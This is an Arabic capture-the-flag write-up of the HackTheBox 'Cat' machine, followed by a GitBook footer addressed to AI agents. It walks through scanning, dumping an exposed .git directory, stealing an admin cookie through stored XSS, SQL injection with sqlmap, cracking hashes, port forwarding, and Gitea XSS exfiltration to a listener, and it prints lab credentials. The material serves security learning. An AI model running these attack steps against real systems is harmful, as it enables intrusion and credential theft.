> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # تقرير Cat على HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * استكشاف الدلائل عشوائياً (ملف .git) * تحليل الشيفرة المصدرية (تفريغ مستودع Git) * استغلال XSS المخزن واختطاف الجلسة * حقن SQL (SQLite) باستخدام sqlmap * كسر تجزئات كلمات المرور * إعادة توجيه المنافذ عبر SSH * استغلال Gitea (v1.22.0) – XSS مخزن * تسريب بيانات حساسة عبر حمولات XSS {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

فحص إصدارات المنافذ باستخدام Nmap: استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

### المنفذ 80 - HTTP

من خلال الوصول إلى `http://cat.htb` الموقع، ستجد نموذج تسجيل.

نلاحظ أيضاً وظيفة للتصويت.

**استكشاف الدلائل عشوائياً** نقوم بتشغيل `gobuster` لاكتشاف المسارات المخفية: ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

يكشف هذا عن عدة ملفات مثيرة للاهتمام، بما في ذلك `.git` الدليل.

**تفريغ مستودع Git** نستخدم `git-dumper` لاسترجاع محتويات المستودع: ```bash git-dumper http://cat.htb/.git git ```

من خلال فحص الشيفرة المصدرية، نحدد **ثغرة SQL** وكذلك احتمال **XSS مخزن**.

## ثغرة XSS التطبيق يقبل *اسم المستخدم* و *البريد الإلكتروني* الحقول دون تصفية مناسبة. وهذا يسمح بحقن سكربتات خبيثة.

**حمولة XSS** ننشئ مستخدماً بالاسم التالي: ```javascript ``` **استلام ملف تعريف ارتباط المسؤول** نستمع على المنفذ 8081: ```bash python -m http.server 8081 ```

بمجرد التقاط ملف تعريف الارتباط، نحصل على جلسة المسؤول:

نستبدل ملف تعريف ارتباط جلستنا بملف المسؤول ونصل إلى **وحدة تحكم الإدارة**.

## حقن SQL (SQLite)

مع صلاحيات المدير، شغّل `sqlmap` على نموذج ضعيف {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**استعادة الهاش** نحصل على كلمات مرور المستخدمين **تجزئات كلمات المرور**. فيما يلي بعض الأمثلة: ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **كسر كلمات المرور** باستخدام [CrackStation](https://crackstation.net/)، ننجح في تحديد كلمة مرور المستخدم `rosa`: {% embed url="" %}

* **اسم المستخدم** : rosa * **كلمة المرور** : soyunaprincesarosa اتصال SSH باستخدام بيانات الاعتماد المسترجعة: ```bash ssh rosa@cat.htb ```

### الانتقال عبر المستخدم Axel #### الاستطلاع باستخدام LinPEAS: ```bash ./linpeas.sh ``` {% embed url="" %} Rosa موجودة في مجموعة `adm` المجموعة، الوصول إلى: ```bash cat /var/log/apache2/access.log | grep "axel" ```

تم العثور على بيانات الاعتماد: * اسم المستخدم: axel * كلمة المرور: aNdZwgC4tI9gnVXv/\_e3Q

### الراية user.txt :)

## تصعيد الامتيازات ### اكتشاف المنافذ الداخلية: ```bash netstat -tuln ``` * **Node.js** (المنفذ 3000) * **SMTP** (587, 25) الخدمات المحددة

#### إعادة توجيه المنافذ ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### ثغرة XSS في Gitea v1.22.0 على `http://localhost:3000` -> **Gitea** يمكن الوصول إليه.

سجّل الدخول باستخدام بيانات اعتماد Axel.

ثغرة XSS معروفة.

ننشىء مشروعاً بوصف يحتوي على: ```bash XSS test ```

* النتيجة:

### البريد المعترض عبر LinPEAS

محتوى البريد الإلكتروني: * يجب أن يتحقق jobert\@localhost من مستودع Gitea

نرسل رابط XSS يحتوي على سكربت تسريب يقرأ محتوى `index.php` صفحة مستودع Gitea، ويشفّره بصيغة Base64، ثم يرسله إلى خادمنا الويب {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### عبر خادم الويب الخاص بنا ```bash python -m http.server 8080 ```

#### المحتوى المُسرَّب (بعد فك base64): ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### تصعيد الصلاحيات إلى root هناك إعادة استخدام لبيانات الاعتماد لمستخدم root ```bash su root ```

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.